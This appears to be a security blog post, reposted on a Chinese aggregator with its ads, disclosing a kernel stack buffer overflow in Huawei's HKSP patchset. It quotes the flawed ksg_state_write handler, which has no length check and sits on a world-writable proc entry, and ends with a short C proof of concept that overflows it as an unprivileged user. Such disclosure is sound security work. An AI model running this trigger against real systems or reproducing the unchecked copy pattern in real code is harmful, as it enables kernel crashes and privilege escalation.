Huawei HKSP Introduces Trivially Exploitable Vulnerability in the Linux Kernel

栏目: IT技术 · 发布时间: 5年前

内容简介:Huawei has seemingly stepped its foot into the kernel-self protection game with the release ofOur focus today in this short blog post will be how the HKSP patchset introduced a trivially exploitable vulnerability due to a complete lack of defensive program

Huawei has seemingly stepped its foot into the kernel-self protection game with the release of HKSP . The patch itself is riddled with bugs and weaknesses and generally lacks any kind of threat model (making its mitigations similar to those present in LKRG where knowledge of the mitigation in place is enough to bypass it). It is not clear if the posted patchset is an official Huawei release or whether this code is already shipping on any Huawei devices, but the patchset uses Huawei in its name, and the Github account for the patchset lists Huawei as the organization for the account.

Our focus today in this short blog post will be how the HKSP patchset introduced a trivially exploitable vulnerability due to a complete lack of defensive programming.

In the patch, a /proc/ksguard/state entry is created. Giving a hint to the level of review of the code, every time this entry is opened or closed, the following lines referencing a nonexistent filename are output to dmesg:

open /proc/ksg_state_proc ok.

close /proc/ksg_state_proc ok.

As we can see in the below line of the patch, the state entry is created with global RWX rights, a sign of carelessness given that the entry doesn't support any meaningful read operation and execute is meaningless on such an entry.

state_proc = proc_create("state", 0777, ksg_proc, &ksg_state_ops);

The ksg_state_write handler for writes to this entry looks like this:

static ssize_t ksg_state_write(struct file *file, const char __user *buf,
                      size_t len, loff_t *offset)
{
	u64 value;
	char tmp[32];
	size_t n = 0;

        if (copy_from_user(tmp, buf, len))
                return -1;

	value = simple_strtoul(tmp, '\0', 10);
	switch (value) {
	case 1:
		ksg_check_keyboard();
		break;
	case 2:
		ksg_check_nf();
		break;
	case 3:
		ksg_check_pointer();
		break;
	case 4:
		ksg_check_sct();
		break;
	default:
		break;
	}

        *offset += len;
        n += len;

        return len;
}

There are a number of issues with this function. First, there is the return -1 which should return a proper errno (generally -EFAULT ). There is an n variable that is assigned to, but not used for anything. There are no checks at all on the value of len . The first issue this causes is acting as a limited oracle. By writing 0 bytes to the entry, the uninitialized tmp array will attempt to have a number parsed out of it and then acted upon. Likewise, writing a full 32 bytes to the entry and failing to NUL-terminate the string will cause simple_strtoul to access out of bounds, potentially operating as a partial oracle for adjacent memory. Most importantly, due to the lack of checks on len , and given that tmp is a simple 32-byte stack array, this introduces a trivially exploitable kernel stack buffer overflow able to be performed by any unprivileged user.

For completeness, a simple PoC is provided below:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(void)
{
        char buf[4096] = { };
        int fd = open("/proc/ksguard/state", O_WRONLY);
        if (fd >= 0) {
		write(fd, buf, sizeof(buf));
		close(fd);
	}
        return 0;
}

Effective security defenses require defined, realistic threat models. Defenses in the kernel should be programmed defensively and with reducing maintenance burdens in mind. The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system. New code added to this most-privileged component of the system is potential new attack surface and requires heavy scrutiny, lest worse problems be introduced than were attempted to be solved in the first place.


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据压缩导论(第4版)

数据压缩导论(第4版)

[美] Khalid Sayood / 贾洪峰 / 人民邮电出版社 / 2014-1 / 129.00

数据压缩已经成为信息革命的一门支撑技术,这场革命已经改变了我们的生活,而在此过程中,数据压缩也变得几乎无处不在。从MP3播放器到智能手机,再到数字电视和数字电影,数据压缩几乎成了所有信息技术的必备要素。 近年来,以大数据为标志的互联网技术高歌猛进。数据规模大、产生速度快、来源多样等特性,导致数据存储和处理都前所未有地复杂。《数据压缩导论(第4版)》作为迄今为止数据压缩领域最全面而深入的著作,......一起来看看 《数据压缩导论(第4版)》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具